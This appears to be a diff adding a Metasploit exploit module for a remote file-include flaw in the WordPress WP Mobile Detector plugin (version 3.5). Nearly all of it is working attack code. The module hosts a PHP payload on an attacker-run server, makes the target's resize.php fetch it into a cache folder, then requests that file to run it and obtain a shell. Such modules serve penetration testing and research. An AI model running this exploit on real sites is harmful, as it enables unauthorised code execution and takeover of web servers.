|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 10 | + include Msf::Exploit::Remote::HttpServer |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload', |
| 17 | + 'Description' => %q{ |
| 18 | + WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker |
| 19 | + to execute arbitrary PHP code. This flaw exists because the |
| 20 | + /wp-content/plugins/wp-mobile-detector/resize.php script does contains a |
| 21 | + remote file include for files not cached by the system already. |
| 22 | + By uploading a .php file, the remote system will |
| 23 | + place the file in a user-accessible path. Making a direct request to the |
| 24 | + uploaded file will allow the attacker to execute the script with the privileges |
| 25 | + of the web server. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'pluginvulnerabilities.com', # Vulnerability disclosure |
| 31 | + 'Aaditya Purani', # EDB module discovered after writing module |
| 32 | + 'h00die' # Metasploit module |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + ['WPVDB', '8505'], |
| 37 | + ['EDB', '39891'], |
| 38 | + ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'] |
| 39 | + ], |
| 40 | + 'DisclosureDate' => 'May 31 2016', |
| 41 | + 'Platform' => 'php', |
| 42 | + 'Arch' => ARCH_PHP, |
| 43 | + 'Targets' => [['wp-mobile-detectory < 3.6', {}]], |
| 44 | + 'DefaultTarget' => 0 |
| 45 | + )) |
| 46 | + end |
| 47 | + |
| 48 | + def check |
| 49 | + check_plugin_version_from_readme('wp-mobile-detector', '3.5') |
| 50 | + end |
| 51 | + |
| 52 | + def exploit |
| 53 | + payload_name = rand_text_alphanumeric(10) + '.php' |
| 54 | + |
| 55 | + # First check to see if the file is written already, if it is cache wont retrieve it from us |
| 56 | + res = send_request_cgi( |
| 57 | + 'global' => true, |
| 58 | + 'method' => 'GET', |
| 59 | + 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/' |
| 60 | + ) |
| 61 | + if res && !res.body.include?(payload_name) |
| 62 | + vprint_status("#{payload_name} verified as not written.") |
| 63 | + else |
| 64 | + fail_with(Failure::BadConfig,"#{payload_name} already written on system.") |
| 65 | + end |
| 66 | + |
| 67 | + def on_request_uri(cli, _request) |
| 68 | + print_good('Payload requested on server, sending') |
| 69 | + send_response(cli, payload.encoded) |
| 70 | + end |
| 71 | + |
| 72 | + print_status('Starting Payload Server') |
| 73 | + start_service('Path' => "/#{payload_name}") |
| 74 | + |
| 75 | + print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}") |
| 76 | + |
| 77 | + res = send_request_cgi( |
| 78 | + 'global' => true, |
| 79 | + 'method' => 'GET', |
| 80 | + 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'), |
| 81 | + 'vars_get' => {'src' => get_uri} |
| 82 | + ) |
| 83 | + |
| 84 | + if res && res.code == 200 |
| 85 | + print_good('Sleeping 5 seconds for payload upload') |
| 86 | + register_files_for_cleanup(payload_name) |
| 87 | + |
| 88 | + Rex.sleep(5) |
| 89 | + |
| 90 | + print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}") |
| 91 | + send_request_cgi( |
| 92 | + { |
| 93 | + 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name), |
| 94 | + }) |
| 95 | + # wait for callback, without this we exit too fast and miss our shell |
| 96 | + Rex.sleep(2) |
| 97 | + else |
| 98 | + if res.nil? |
| 99 | + fail_with(Failure::Unreachable, 'No response from the target') |
| 100 | + else |
| 101 | + vprint_error("HTTP Status: #{res.code}") |
| 102 | + vprint_error("Server returned: #{res.body}") |
| 103 | + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') |
| 104 | + end |
| 105 | + end |
| 106 | + end |
| 107 | +end |
0 commit comments